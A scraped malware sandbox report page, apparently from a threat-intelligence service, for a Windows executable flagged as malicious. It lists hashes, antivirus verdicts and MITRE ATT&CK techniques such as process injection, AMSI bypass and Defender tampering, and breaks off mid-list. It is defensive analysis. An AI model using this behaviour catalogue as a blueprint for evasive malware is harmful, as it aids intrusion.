/wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==84:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==85:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==86:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1792106021111,"unified_at":"2026-10-15T23:13:41.111Z","metadata":{"hashes":{"sha256":"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2","sha1":"48b74a8ba108b6a16acc69f791e13739d8dddece","md5":"4d01509435699e11c53eca9e30403f04","sha512":"ed7878d8ea424b94d9d0c8d671e54c5f300fe5b60e29f684ef549e44943135b3afd4311ec43cec7539446ab08066fbb2d84697a5d4bf49c48b330dafc94d1255","ssdeep":"98304:rl/KNYx7s7GeVF/hw7yctrDMwQxjTs6ygNRTqy712wRwsZpSvtJonIDn1jATo3:r9jx7Be7avrDMwQx9R58wmNtJonIDnaE","ssdeep_chunks":["98304:rl/KNYx","98304:l/KNYx7","98304:/KNYx7s","98304:KNYx7s7","98304:NYx7s7G","98304:Yx7s7Ge","98304:x7s7GeV","98304:7s7GeVF","98304:s7GeVF/","98304:7GeVF/h","98304:GeVF/hw","98304:eVF/hw7","98304:VF/hw7y","98304:F/hw7yc","98304:/hw7yct","98304:hw7yctr","98304:w7yctrD","98304:7yctrDM","98304:yctrDMw","98304:ctrDMwQ","98304:trDMwQx","98304:rDMwQxj","98304:DMwQxjT","98304:MwQxjTs","98304:wQxjTs6","98304:QxjTs6y","98304:xjTs6yg","98304:jTs6ygN","98304:Ts6ygNR","98304:s6ygNRT","98304:6ygNRTq","98304:ygNRTqy","98304:gNRTqy7","98304:NRTqy71","98304:RTqy712","98304:Tqy712w","98304:qy712wR","98304:y712wRw","98304:712wRws","98304:12wRwsZ","98304:2wRwsZp","98304:wRwsZpS","98304:RwsZpSv","98304:wsZpSvt","98304:sZpSvtJ","98304:ZpSvtJo","98304:pSvtJon","98304:SvtJonI","98304:vtJonID","98304:tJonIDn","98304:JonIDn1","98304:onIDn1j","98304:nIDn1jA","98304:IDn1jAT","98304:Dn1jATo","98304:n1jATo3","196608:rl/KNYx","196608:l/KNYx7","196608:/KNYx7s","196608:KNYx7s7","196608:NYx7s7G","196608:Yx7s7Ge","196608:x7s7GeV","196608:7s7GeVF","196608:s7GeVF/","196608:7GeVF/h","196608:GeVF/hw","196608:eVF/hw7","196608:VF/hw7y","196608:F/hw7yc","196608:/hw7yct","196608:hw7yctr","196608:w7yctrD","196608:7yctrDM","196608:yctrDMw","196608:ctrDMwQ","196608:trDMwQx","196608:rDMwQxj","196608:DMwQxjT","196608:MwQxjTs","196608:wQxjTs6","196608:QxjTs6y","196608:xjTs6yg","196608:jTs6ygN","196608:Ts6ygNR","196608:s6ygNRT","196608:6ygNRTq","196608:ygNRTqy","196608:gNRTqy7","196608:NRTqy71","196608:RTqy712","196608:Tqy712w","196608:qy712wR","196608:y712wRw","196608:712wRws","196608:12wRwsZ","196608:2wRwsZp","196608:wRwsZpS","196608:RwsZpSv","196608:wsZpSvt","196608:sZpSvtJ","196608:ZpSvtJo","196608:pSvtJon","196608:SvtJonI","196608:vtJonID","196608:tJonIDn","196608:JonIDn1","196608:onIDn1j","196608:nIDn1jA","196608:IDn1jAT","196608:Dn1jATo","196608:n1jATo3","98304:r9jx7Be","98304:9jx7Be7","98304:jx7Be7a","98304:x7Be7av","98304:7Be7avr","98304:Be7avrD","98304:e7avrDM","98304:7avrDMw","98304:avrDMwQ","98304:vrDMwQx","98304:rDMwQx9","98304:DMwQx9R","98304:MwQx9R5","98304:wQx9R58","98304:Qx9R58w","98304:x9R58wm","98304:9R58wmN","98304:R58wmNt","98304:58wmNtJ","98304:8wmNtJo","98304:wmNtJon","98304:mNtJonI","98304:NtJonID","98304:JonIDna","98304:onIDnaE"],"imphash":"646167cce332c1c252cdcb1839e0cf48"},"file_info":{"file_name":"random.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":4996096,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1746002752000,"last_seen":1746013599000,"last_multi_scan":1746013599000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","windows-server-utility"]},"stats":{"av":{"malicious_count":11,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":107},"sandbox_signatures":{"informative_count":266,"suspicious_count":16,"malicious_count":9,"total":291},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Redcap.krgaz","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Crifi.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Egairtigado_rfn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Crifi.1 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Spy.Win32.Redline.lu!heur","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005aad751 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Kryptik.JKR.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_44.4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.AgentGen.Win32.94","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Crifi.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Imports GetCommandLine API"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains ability to execute windows services"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"malicious","value":"Loads the task scheduler interface DLL"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to interact with Microsoft Outlook"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create local account"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Contains ability to delete files"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains ability to uninstall applications (Powershell command string)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Time Based 